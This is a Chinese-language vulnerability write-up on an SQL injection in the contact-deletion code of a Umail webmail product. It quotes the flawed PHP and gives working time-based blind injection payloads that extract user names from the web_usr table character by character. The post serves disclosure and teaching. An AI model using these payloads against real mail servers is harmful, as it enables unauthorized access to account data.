Umail最新版SQL注入

client\pab\module\o_contact.php

[php]
........
if ( ACTION == "contact-del" )
{
$contact_ids = gss( $_POST['contact_ids'] ); // 未过滤
if ( !$contact_ids )
{
dump_json( array( "status" => TRUE, "message" => "" ) );
}
$result = $PAB->delContactByID( $user_id, $contact_ids, 0 );//跟踪该方法
if ( $result )
{
dump_json( array( "status" => TRUE, "message" => "" ) );
}
else
{
dump_json( array( "status" => FALSE, "message" => "修改联系人时发生错误,删除失败!" ) );
}
}

public function delContactByID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw= FALSE )
{
$_obfuscate_B6D9o5T_tA = $this->delMapByContactID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw );
$_obfuscate_IRFhnYw = "user_id='".$_obfuscate_nQNptTJPg."' AND contact_id IN (".$_obfuscate_aTToSQRb_5zHbps.")"; //注意1!!
$_obfuscate_vLWlS_m_2wteA = $this->del_contact( $_obfuscate_IRFhnYw, $_obfuscate_ySeUHBw );

return $_obfuscate_vLWlS_m5__2wteA;
}
................
?>
[/php]

看到上面的注意1,没有单引号闭合,且代入数据库变量未过滤,存在注入。

此处不能回显,可以通过延时盲注来注出数据。

先来张延时证明注入存在:

3
逐位猜解:
[php]
1. or if(((select count(*) from web_usr where usr_name like 'a____') > 0), 0, sleep(5))# usr_name是a开头的,所以这一句很快执行完毕。

2. or if(((select count(*) from web_usr where usr_name like 'ab___') > 0), 0, sleep(5))# usr_name不是ab开头的,所以这一句就会去执行后面的sleep(5)

3. or if(((select count(*) from web_usr where usr_name like 'ad___') > 0), 0, sleep(5))# usr_name是ad开头的,这一句会很快执行
[/php]
5

4

发表评论